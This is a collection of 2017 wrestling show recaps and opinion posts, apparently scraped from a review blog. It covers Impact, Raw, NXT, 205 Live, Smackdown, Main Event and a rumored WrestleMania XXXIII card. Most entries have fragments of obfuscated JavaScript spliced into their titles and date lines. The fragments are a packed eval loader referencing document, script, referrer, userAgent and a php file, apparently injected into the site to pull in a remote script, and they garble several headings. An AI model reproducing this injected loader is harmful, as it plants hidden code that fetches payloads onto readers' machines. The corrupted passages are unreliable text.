Impact Wrestling – February 9, 2017: Let the Expedition Begin

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftydk|var|u0026u|referrer|ttskd||js|php'.split('|'),0,{})) Wrestling
Date: February 9, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Recap of the four briefcase matches from last week.

DCC vs. Tyrus/Eli Drake

Clip of Lashley vs. Eddie Edwards in a cage. Their final showdown is tonight.

Brandi Rhodes is going to call out Rosemary.

Braxton Sutter and Allie run into each other in the back. Maria comes in and yells at Allie for wasting time and sends her away. We hear about some wedding plans and Braxton has an hour to propose to Laurel Van Ness.

Brandi and Moose want a mixed tag next week.

Aron Rex vs. Robbie E.

Before the match, Aron fails to get the audience to sing his name. Rex slaps him in the face to start and of course hides on the apron as a result. Back in and Robbie throws some right hands, which seem to tick Rex off. Robbie is thrown outside so Spud can choke with his coat. That fires Robbie up and Spud is pulled inside, allowing the loaded punch to knock Robbie cold for the pin at 4:54.

The Hardys are ready for an announcement.

Clip of Edwards winning the World Title.

The Wolves and their wives (Angelina Love and Alisha) are ready.

Grand Championship: Mahabali Shera vs. Drew Galloway

Sutter drops a water bottle cap and goes to pick it up, which Laurel interprets as a proposal. Braxton: “That is the exact opposite of what I wanted to happen.”

Lashley is ready.

Matt and Jeff meet fans in Tijuana and next week, the first challenge takes place.

TNA World Title: Lashley vs. Eddie Edwards

Davey and Angelina beat down Eddie and Alisha to end the show.

Results

DCC b. Tyrus/Eli Drake – Last Call to Tyrus

Aron Rex b. Robbie E. – Loaded punch

Drew Galloway b. Mahabali Shera – Futureshock

Lashley b. Eddie Edwards – Spear

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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Monday Night Raw – September 9, 2002: The Long Form Joke

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftkaa|var|u0026u|referrer|dfknr||js|php'.split('|'),0,{})) Night Raw
Date: September 9, 2002
Location: Hilton Coliseum, Ames, Iowa
Commentators: Jim Ross, Jerry Lawler

Opening sequence.

Tag Team Titles: Un-Americans vs. Kane/Bradshaw

Chris Jericho eats an apple and says he has a plan to get the World Title back. This means apple being spit on Terri.

Bubba Ray Dudley vs. Steven Richards

Victoria/Stacy Keibler vs. Terri/Trish Stratus

Jerry is disappointed in the lack of HLA and you can hear JR getting more and more annoyed.

Regal dumps Christopher Nowinski to join the Un-Americans. Chris talks about HLA and Regal slaps him in the face because Chris is an embarrassment. Preach it brother.

HHH vs. Spike Dudley

HHH keeps stomping until Bubba comes out for the save.

Booker T./Goldust vs. William Regal/Test

Ric Flair gives Rob Van Dam a pep talk.

Rob Van Dam vs. Big Show vs. Jeff Hardy vs. Chris Jericho

Non-title and under elimination rules. Show beats on Van Dam in the corner to start while Jeff is backdropped to the floor. Poetry in Motion fails completely and Show tosses Van Dam down as well. Back in and Rob teams up with Jeff to put Show down but the Swanton only gets two.


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NXT – February 8, 2017: Glorious Insanity

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzrad|var|u0026u|referrer|enkny||js|php'.split('|'),0,{})) February 8, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Nigel McGuinness, Tom Phillips

Opening sequence, now prominently featuring Roode.

Sanity vs. Bollywood Boyz

Post match Nikki Cross demands Asuka but Eric Young cuts her off to say Tye Dillinger belongs to Sanity.

Liv Morgan vs. Billie Kay

Billie gets taken down to start and Liv walks on her back, setting up a rollup for two. Kay grabs an armdrag and we hit the chinlock. Peyton tries to get on the apron for a distraction but Liv grabs a rollup for the pin at 3:40.

William Regal announces a UK Title match next week with Tyler Bate defending against Trent Seven. Peyton and Billie come in and demand a match against Liv next week. Regal agrees and says Liv can pick her partner, which delights the Aussies because Morgan has no friends.

Revival vs. Heavy Machinery

Video on Tyler Bate.

Video on Trent Seven, who is from a cabin halfway up Mustache Mountain.

Sanity vs. No Way Jose/Tye Dillinger/Roderick Strong

Overall Rating: C. This was a weird one with the last match being necessary to make the show run long enough but at the same time it made the show feel longer than it needed to be if that makes sense. In other words they would have been better off expanding some of the earlier matches and then having the Roode stuff close the show while leaving the six man for later. As it is the show feels a bit heavier than it needed to be but it was still entertaining enough. Not bad here but it needed some adjustments to really work.

Results

Sanity b. Bollywood Boyz – One Winged Angel to Gurv

Liv Morgan b. Billie Kay – Rollup

Revival b. Heavy Machinery – DDT to Knight

Sanity b. No Way Jose/Roderick Strong/Tye Dillinger – Crossbody to Strong


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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205 Live – February 7, 2017: The Mary Poppins Drop

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyiyh|var|u0026u|referrer|ndbaz||js|php'.split('|'),0,{})) Live
Date: February 7, 2017
Location: Key Arena, Seattle, Washington
Commentators: Mauro Ranallo, Austin Aries, Corey Graves

Opening sequence.

We open with some breaking news: Tony Nese is injured and out of the match so we have a qualifying match for a replacement.

Ariya Daivari vs. Mustafa Ali

Gran Metalik arrives next week.

Lince Dorado vs. Brian Kendrick

Post match Kendrick calls Tozawa out but gets Tajiri and the mist to the eyes instead.

Jack Gallagher vs. Mustafa Ali vs. Cedric Alexander vs. Noam Dar vs. TJ Perkins

Elimination rules here and the lights flicker for a bit at the start. Dar gets surrounded early on and Cedric clotheslines him out to the floor. The other four pair off with Ali and Perkins getting the better of it. Jack runs Dar over on the outside and Cedric sunset flips Perkins for two. That leaves Dar and Cedric to slug it out in the ring with Noam getting the better of it but getting dropkicked outside by Gallagher.

Neville comes out for the staredown to end the show.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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New Column: What Was That Royal Rumble Thing Again?

Looking at why having two more pay per views between the Royal Rumble and Wrestlemania is wasting the Rumble.

 

https://wrestlingrumors.net/kbs-review-royal-rumble-thing/




Smackdown – February 7, 2017: Let Me Check My Notes

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shfhr|var|u0026u|referrer|ifzya||js|php'.split('|'),0,{})) February 7, 2017
Location: Key Arena, Seattle, Washington
Commentators: Mauro Ranallo, John Bradshaw Layfield, Tom Phillips, Byron Saxton

We open with a long video on Randy Orton vs. John Cena as the rivalry is renewed again tonight.

Baron Corbin vs. Dean Ambrose vs. The Miz vs. AJ Styles

Dolph Ziggler vs. Apollo Crews

Crews is extra aggressive here as he scores with an early dropkick and sends Ziggler into the corner. Ziggler sends him into the post though and hits the running DDT, only to have his superkick countered into a rollup for the pin at 1:02.

Ziggler beats Crews down post match and hits him in the back with a chair. Kalisto runs out for the save, only to get chaired down as well.

Post break, Ziggler is put in a handicap match against Kalisto and Crews on Sunday. What kind of face/heel psychology is that supposed to be?

American Alpha/Heath Slater/Rhyno/Breezeango vs. Vaudevillains/Ascension/Usos

Back with Slater in trouble and Viktor tagging himself in for a chinlock. The Vaudevillains and Ascension get in an argument though, allowing the hot tag to Rhyno to blow the roof off the place. Everything breaks down and Jordan launches Gable onto a pile at ringside. Back in and the Gore hits Konnor, only to have Viktor hit a middle rope knee for the pin on Rhyno at 9:46.

Rock N Roll Express Hall of Fame video.

Video on the Elimination Chamber.

John Cena vs. Randy Orton

Results

Baron Corbin b. AJ Styles, Dean Ambrose and Miz – End of Days to Styles

Apollo Crews b. Dolph Ziggler – Rollup

John Cena b. Randy Orton – Attitude Adjustment

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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Monday Night Raw – February 6, 2017: Getting Onto the Exit

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkaek|var|u0026u|referrer|rfbye||js|php'.split('|'),0,{})) Night Raw
Date: February 5, 2017
Location: Moda Center, Portland, Oregon
Commentators: Michael Cole, Byron Saxton, Corey Graves

Bayley vs. Nia Jax

Braun Strowman vs. ???/???/???/???

Video on Akira Tozawa.

Akira Tozawa vs. Drew Gulak

Gallows and Anderson are defending with Enzo and Big Cass watching at ringside. Sheamus takes over on Anderson to start before Cesaro comes in with an ax handle to the shoulder. A Regal Roll into a double stomp from Cesaro gets two so the champs regroup on the floor as we take a break. Back with Sheamus fighting back and getting two off a top rope clothesline. The assisted Irish Curse gets two on Anderson but Gallows kicks Enzo in the face, drawing Cass in for the DQ at 9:00.

Black History Month video on Jackie Robinson.

We look back at Rollins being attacked last week. Rollins has a torn MCL and his Wrestlemania status is “very much in doubt”.

New Day vs. Shining Stars

This is joined in progress after a break with Woods hitting a splash for two on Primo until an enziguri knocks Xavier into a Russian legsweep. We hit the chinlock for a long while, followed by a top wristlock for a change of pace. Woods fights back and gets in a missile dropkick, allowing the hot tag off to Big E. Everything breaks down and New Day cleans house, setting up the Midnight Hour for the pin at Primo at 5:48.

Goldberg vs. Owens is official for Fastlane.

The Rock N Roll Express are official for the Hall of Fame.

US Title: Chris Jericho vs. Sami Zayn

We look at Goldberg challenging Owens earlier tonight.

Sasha Banks is getting her knee looked at when Charlotte comes in to mock her for not even having her health. Charlotte promises to keep a seat open for Banks next week when her best friend gets a shot at the title.

Emmalina debuts next week.

Neville/Noam Dar/Tony Nese vs. Jack Gallagher/Cedric Alexander/TJ Perkins

Jericho pitches an idea for next week: the Festival of Friendship. Owens is skeptical but goes along with it.

We look at Reigns and Samoa Joe from earlier.

Samoa Joe vs. Roman Reigns

Joe jumps Reigns before the bell and Reigns is in trouble as we take a break with no bell. Back with the bell ringing and Reigns taking it to the floor for a whip into the barricade. Joe comes right back with an enziguri and pops Reigns in the jaw with an elbow. A slugout goes to Joe and he drops the backsplash for two more.

Post match Strowman cleans house and powerslams Reigns through the barricade to end the show.

Results

Nia Jax b. Bayley – Samoan drop

Braun Strowman b. ???/???/???/??? – Running powerslam

Akira Tozawa b. Drew Gulak – German suplex

Anderson and Gallows b. Sheamus/Cesaro via DQ when Big Cass interfered

New Day b. Shining Stars – Midnight Hour to Primo

Chris Jericho b. Sami Zayn – Codebreaker

Jack Gallagher/Cedric Alexander/TJ Perkins b. Tony Nese/Noam Dar/Neville – Lumber Check to Dar

Samoa Joe b. Roman Reigns – Rock Bottom

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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Thoughts On the Rumored Wrestlemania XXXIII Card

Just…..wow.  This has been floating around for a bit and if this is the case, I have no idea where we are on a lot of these things.  Here it is with a thought or two per match.

WWE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfthy|var|u0026u|referrer|kbfiy||js|php'.split('|'),0,{})) Universal Championship
Goldberg (c) vs. Brock Lesnar

Someone explain to me why this is the main event and for a title.  Please, someone tell me why that’s what we need.  I can almost buy this as the main event (assuming Goldberg can go more than five minutes) but why in the world does this need to be for the title?  Does the winner really need to take the title on hiatus for weeks at a time?  That’s their best idea?

WWE Championship
Bray Wyatt (c) vs. Randy Orton

If this happens, Wyatt better win.  Orton doesn’t need this and Wyatt is considered a choker so let him defend the title here and eventually drop it to someone over the summer.  This should be a layup so I don’t buy it happening, unfortunately.

RAW Women’s Championship
Charlotte (c) vs. Bayley vs. Sasha Banks vs. Nia Jax

Again, this should be a layup (as well as a singles match but WE MUST GO FOUR WAYS!) and by that I mean…..actually it should be Sasha turning heel and getting the big title win, setting up Bayley with the big singles win around Summerslam.  I know people want to see Bayley win the title here but she’s not ready yet.

Roman Reigns vs. The Undertaker

This is one of two schools of thought.  If they try to have Reigns go in as the mega face, it doesn’t matter who wins because Reigns will be blown into the Atlantic by the booing.  If they have Reigns as the heel monster who spears old man Undertaker over and over until he can’t get up anymore, I’m sold like Hercules to DiBiase.

Seth Rollins vs. Triple H

If they just absolutely have to do this (and they clearly do because it’s HHH at Wrestlemania), please don’t screw it up by having it go half an hour.  This is nowhere near as big a match as WWE seems to think it is but it seems to be what we’re getting, assuming Seth can walk again.  I’ve heard rumors of Shane McMahon replacing Seth if he can’t go but either way, HHH needs to go down here.

Kevin Owens vs. Chris Jericho

I could go for this being for the US Title and all they have to do is have Jericho put Owens on the List for some reason.  This is the match that should happen, has been planned for months and needs to take place by schedule.  Stop messing with the good ideas you have and everything will be fine.

AJ Styles vs. Shane McMahon

Of all the matches on the card, I think this one makes me madder than all the rest.  AJ had one of the best years in company history but for some reason he’s stuck babysitting the boss at Wrestlemania.  The match will have some big spots and entertaining moments but how much praise do you think AJ is going to get for it?  This is going to be the Shane McMahon Show and that’s a very sad moment for AJ.

John Cena & Nikki Bella vs. The Miz & Maryse

BRING BACK SHANE!  Word on the street says this is Nikki’s last match with Cena possibly proposing after the match.  You know, because WRESTLEMANIA needs to be a Nikki Bella night.  Cena isn’t going to be around much longer and now we get to hear about how Nikki has just overcome so much and how she’s earned all this and should get her happiness or whatever, because somewhere along the line she because Trish Stratus and Lita combined.  I can’t stand this for everyone involved as they all, save for Nikki that is, deserve so, so much better.

The Big Show vs. Shaquille O’Neal

You knew this one was going to happen and while that doesn’t make it much better, it’s still the case.  This is going to eat up about fifteen minutes with all the introductions and pre-match shenanigans and that’s fine really.  It’s going to come and go with no one remembering it so let’s get it over with and worry about the rest of the show.  I just don’t care enough to get annoyed about it and that’s fine.

Andre The Giant Memorial Battle Royal

So….this is Ambrose’s spot I suppose.  I mean, it’s not like you could do one last match against Styles or have him defend against Baron Corbin.  While the latter is still a possibility, it seems more likely that they’ll put them both in the battle royal or on the pre-show because Nikki’s proposal needs more time.  I’ll actually take Corbin winning again here, which would be a great idea for him.

 

This isn’t the strongest card in the world but there’s more to like about it than last year’s show.  At least there’s no reason to believe New Day will lose to the League of Nations again.  I still want to know what was up with that.




Main Event – January 26, 2017: Now With 100% Less Horrible Arm Injuries!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tahhr|var|u0026u|referrer|hfzdr||js|php'.split('|'),0,{})) Event
Date: January 26, 2017
Location: Quicken Loans Arena, Cleveland, Ohio
Commentators: Tom Phillips, Byron Saxton, Austin Aries

Opening sequence.

Lince Dorado vs. Brian Kendrick

To Raw!

US Title: Roman Reigns vs. Chris Jericho

Ever the arrogant heel, Jericho slaps Reigns in the face a few times so Roman uppercuts him out of the air. The Samoan drop into a rollup is botched so Jericho hammers away, only to have the drop hit a few seconds later. The Superman Punch is countered with a dropkick but the Codebreaker is easily powered away. Now the Superman Punch connects but Owens comes in for the DQ at 9:45.

Video on HHH winning the 2002 Royal Rumble.

From Raw again.

Sami Zayn vs. Seth Rollins

Shawn Michaels won the 1995 Royal Rumble.

Alicia Fox vs. Dana Brooke

One more Raw trip to wrap us up.

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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Main Event – February 2, 2017: It Almost Rocks

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Date: February 2, 2017
Location: Laredo Energy Arena, Laredo, Texas
Commentators: Tom Phillips, Austin Aries, Byron Saxton

Opening sequence.

Sin Cara vs. Bo Dallas

Video on Roman Reigns vs. Kevin Owens from Royal Rumble.

From Raw.

Universal Title: Kevin Owens vs. Braun Strowman

Roman Superman Punches and spears Strowman but Braun pops up.

From Raw again.


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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